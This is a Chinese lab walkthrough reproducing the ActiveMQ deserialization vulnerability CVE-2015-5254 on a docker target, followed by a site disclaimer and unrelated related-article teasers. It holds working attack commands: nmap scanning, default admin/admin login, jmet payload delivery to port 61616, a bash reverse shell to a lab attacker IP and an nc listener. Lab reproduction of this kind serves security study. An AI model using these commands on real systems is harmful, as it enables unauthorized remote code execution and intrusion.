ActiveMQ 反序列化漏洞 (CVE-2015-5254)

news2024/11/23 22:20:31

一、漏洞描述

Apache ActiveMQ 是由美国阿帕奇(Apache)软件基金会开发的开源消息中间件,支持 Java 消息服务、集群、Spring 框架等。属于消息队列组件(消息队列组件:分布式系统中的重要组件,主要解决应用耦合、异步消息、流量削峰等)。

二、漏洞成因

Apache ActiveMQ 5.13.0版本之前到5.x版本的安全漏洞,该程序引起的漏洞不限制代理中可以序列化的类。远程攻击者可以制作一个特殊的序列化 Java 消息服务 (JMS) ObjectMessage 对象,利用该漏洞执行任意代码。

三、影响版本

Apache ActiveMQ 5.x ~ Apache ActiveMQ 5.13.0

四、利用限制

1).版本符合

2).立即执行代码:能够通过弱密码登录查看消息队列

3).没有查看队列所有消息的用户名和密码下,只能管理员/用户去点击我们插入的消息才能触发

五、docker的相关操作(默认安装了docker-compose)

在相应的文件夹位置打开终端后进行如下操作

运行此靶场

sudo docker-compose up -d

查看启动环境

sudo docker ps

关闭此靶场环境

sudo docker-compose down

六、漏洞复现

1.漏洞的文件夹中打开终端

2.运行此靶场

sudo docker-compose up -d

如果发现下载很慢或者失败可以看这个师傅的操作

在执行Dockerfile时出现Get https://registry-1.docker.io/v2/错误的解决方案-CSDN博客文章浏览阅读4w次,点赞10次,收藏21次。1.在IDEA中建立好了SpringBoot项目,并配置好了docker容器,然后在执行Dockerfile时出现以下问题Get https://registry-1.docker.io/v2/: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting head..._registry-1.docker.iohttps://blog.csdn.net/weixin_43414429/article/details/97003932

3.查看启动环境

sudo docker ps

其中61616端口是工作端口,消息在这个端口上传递;8161端口为网页管理页面端口。访问http://192.168.83.136:8161,可以看到web管理页面

4.登录网页

打开http://192.168.83.136:8161/admin,使用默认密码(admin/admin)登录,可以看到ActiveMQ版本是5.11.1,属于ActiveMQ 反序列化漏洞 (CVE-2015-5254)的影响版本范围

5.复现描述:

生成序列化的有效负载(可以使用 ysoserial)

作为一个消息,将有效负载发送到端口 61616

访问web管理页面并读取序列化消息,然后就可以触发这个漏洞了。

5.复现过程

a.nmap扫描

通过nmap扫描目标靶机端口和服务版本信息,发现目标开放的61616端口上承载apachemq ActiveMQ服务

nmap -p- -A -O 192.168.83.136

b.利用 jmet-0.1.0-all.jar攻击

下载jmet-0.1.0-all.jar包

https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

执行命令,将有效负载发送到目标IP的61616端口。

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.83.136 61616

如果出现报错,需要更换java的版本

需要可以看这个师傅操作,实测有效

点击查看这条消息即可触发命令执行

点击查看这条消息即可触发命令执行

6.登录容器环境

登录ActiveMQ容器环境,查看命令已经执行成功,/tmp/sucess文件已成功创建。

docker exec -it [容器ID] bash 

docker exec -it c98e17fc5287 bash

docker   ps  -a //查看容器id

查看上传成功了

7.反弹shell

反弹到攻击机的主机上

ip  192.168.83.156

#bash反弹命令

bash -i >& /dev/tcp/192.168.83.156/31005 0>&1

CTF在线工具-在线base编码|在线base解码|base16编码|base32编码|base64编码 (hiencode.com)icon-default.png?t=N7T8http://www.hiencode.com/base64.html攻击机监听端口

nc -lvvp 31005

漏洞攻击

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjgzLjE1Ni8zMTAwNSAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.83.136 61616

攻击成功后在web页面点击访问

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1635086.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于SpringBoot+Vue大学生兼职管理系统的设计与实现

目录 一、前言介绍 二、功能需求 三、功能结构设计 四、管理员功能实现 招聘单位管理 用户管理 论坛管理 公告信息管理 五、招聘单位功能实现 职位招聘管理 职位留言管理 简历投递管理 六、用户功能实现 在线论坛 职位招聘信息 简历投递 简历 七、部分核心代码 …

深入Rust标准库:必备的Rust语言高级指南

💂 个人网站:【 摸鱼游戏】【神级代码资源网站】【工具大全】🤟 一站式轻松构建小程序、Web网站、移动应用:👉注册地址🤟 基于Web端打造的:👉轻量化工具创作平台💅 想寻找共同学习交…

windows rabbitMq安装

一、Erlang 环境准备 下载安装包 跟我们跑java项目,要装jdk类似。rabbitMQ是基于Erlang开发的,因此安装rabbitMQ服务器之前,需要先安装Erlang环境。 官网直接下载windows直装版本:https://www.erlang.org/downloads 无脑安装&a…

用自然语言来编程GitHub Copilot;提高代码质量开源工具GPTLint;LLMs开源医学Meditron

✨ 1: GitHub Copilot Workspace 以Copilot 为中心的创新开发者环境,让开发者能用自然语言从构思到编码再到软件开发。 GitHub Copilot Workspace是一个以Copilot为中心的开发者环境,旨在使用自然语言从构思、编码到软件开发的全过程中提供帮助。它标志…

一、OSPF基础

目录 1.路由协议的优先级 2.转发原则:最长匹配原则 3.负载分担 4.路由备份(浮动路由) 5.路由协议的分类 6.动态路由 7.距离矢量路由协议(BGP,RIP) 8.链路状态路由协议(OSPF,I…

指纹浏览器:网络安全与隐私的新工具

在互联网时代,隐私和网络安全成为人们越来越关注的话题。随着数字化的发展,个人信息的泄露和在线追踪的问题愈发严峻。在这个背景下,"指纹浏览器"作为一种新型工具,开始受到关注。撸空投需要了解指纹浏览器。本文将深入…

计算机丢失d3dx9_42.dll怎么解决,最新的5种修复教程来了

在我们日常频繁地使用电脑进行工作或是享受电子游戏带来的乐趣时,偶尔会遇到一个令人稍感困扰的问题,其中之一就是“d3dx942.dll丢失”。这个错误通常出现在运行某些游戏或应用程序时,它会导致程序无法正常运行。为了解决这个问题&#xff0c…

【无标题】场外个股期权多少钱才能做?个人能做吗?

场外个股期权的交易门槛相对较高,主要面向符合特定条件的机构投资者。一般来说,法人或合伙企业等组织参与的,需要满足最近1年末净资产不低于5000万元人民币、金融资产不低于2000万元人民币的条件,并具备3年以上证券、基金、期货、…

《欢乐钓鱼大师》攻略:新手小白如何快速上手?

欢迎来到《钓乐乐》世界!这是一个充满乐趣和挑战的钓鱼游戏,本指南将为您提供一系列宝贵的技巧和建议,帮助您成为一名优秀的钓手。无论您是初次尝试还是已经有一定经验,都将从中获益匪浅。 一、精打细算金币 刚开始时金币总是紧缺…

关闭powertoy自启动

Other methods like task manager, start up program folder, they do not work because you can not even find powertoy at these places

【c++】优先级队列与仿函数:C++编程的强大组合

🔥个人主页:Quitecoder 🔥专栏:c笔记仓 朋友们大家好,本篇文章我们来讲解优先级队列priority_queue 目录 1.priority_queue的介绍和使用函数使用仿函数的使用与介绍greater和less 2.priority_queue的模拟实现基本框架…

arthas如何排除CPU使用率过高问题

1、首先启动arthas java -jar arthas-boot.jar 2、使用thread查看各线程CPU使用率 thread 可以看到CPU使用率最高的有2个线程,以线程ID为19的为例子: 输入thread 19查看线程19的堆栈信息: thread 19 可以看到是(CpuController.java:78行…

Git Tag:为你的代码版本打上优雅的标签

为你的代码版本打上优雅的标签 在软件开发过程中,版本控制是项目管理的重要一环。Git 作为最流行的版本控制系统之一,为我们提供了强大的工具来管理代码版本。其中,git tag 命令允许我们为代码仓库中的特定提交打上标签,这些标签…

【面试经典 150 | 数组】找出字符串中第一个匹配项的下标

文章目录 写在前面Tag题目来源解题思路方法一:find方法二:暴力匹配方法三:KMP 写在最后 写在前面 本专栏专注于分析与讲解【面试经典150】算法,两到三天更新一篇文章,欢迎催更…… 专栏内容以分析题目为主,…

Python | Leetcode Python题解之第59题螺旋矩阵II

题目&#xff1a; 题解&#xff1a; class Solution:def generateMatrix(self, n: int) -> List[List[int]]:matrix [[0] * n for _ in range(n)]num 1left, right, top, bottom 0, n - 1, 0, n - 1while left < right and top < bottom:for col in range(left, r…

Flink checkpoint 源码分析- Flink Checkpoint 触发流程分析

序言 最近因为工作需要在阅读flink checkpoint处理机制&#xff0c;学习的过程中记录下来&#xff0c;并分享给大家。也算是学习并记录。 目前公司使用的flink版本为1.11。因此以下的分析都是基于1.11版本来的。 在分享前可以简单对flink checkpoint机制做一个大致的了解。 …

Qt:Qt框架的初步认识和基本使用

文章目录 Qt是什么Qt的优点Qt开发环境的基本使用对象树其他控件输入框按钮 本篇总结的是对于Qt框架的基本认识 Qt是什么 Qt框架是一个跨平台的C图形用户界面应用程序框架&#xff0c;框架是一群大佬发明出来的&#xff0c;帮助新手使用的一个内容&#xff0c;如果没有框架的存…

KUKA机器人如何给IO信号或寄存器添加中文注释信息?

KUKA机器人如何给IO信号或寄存器添加中文注释信息? 如下图所示,首先,我们需要登录专家以上用户权限(默认密码KUKA), 如下图所示,点击“投入运行”—“网络配置”, 如下图所示,此时机器人的IP地址为192.168.1.10, 如下图所示,用一根网线连接机器人控制柜到笔记…

使用ClassFinal实现springboot项目jar包加密

&#x1f604; 19年之后由于某些原因断更了三年&#xff0c;23年重新扬帆起航&#xff0c;推出更多优质博文&#xff0c;希望大家多多支持&#xff5e; &#x1f337; 古之立大事者&#xff0c;不惟有超世之才&#xff0c;亦必有坚忍不拔之志 &#x1f390; 个人CSND主页——Mi…

高级IO|从封装epoll服务器到实现reactor服务器|Part2

项目复习&#xff1a;从封装epoll_server到实现reactor服务器(part2) 项目复习&#xff1a;从封装epoll_server到实现reactor服务器(part2) 基本结构搭建好为什么上面我们写的epoll的recv是不正确的&#xff1f;sock要封装了&#xff0c;要维护缓冲区封装epoll(1)继续先写tcp_…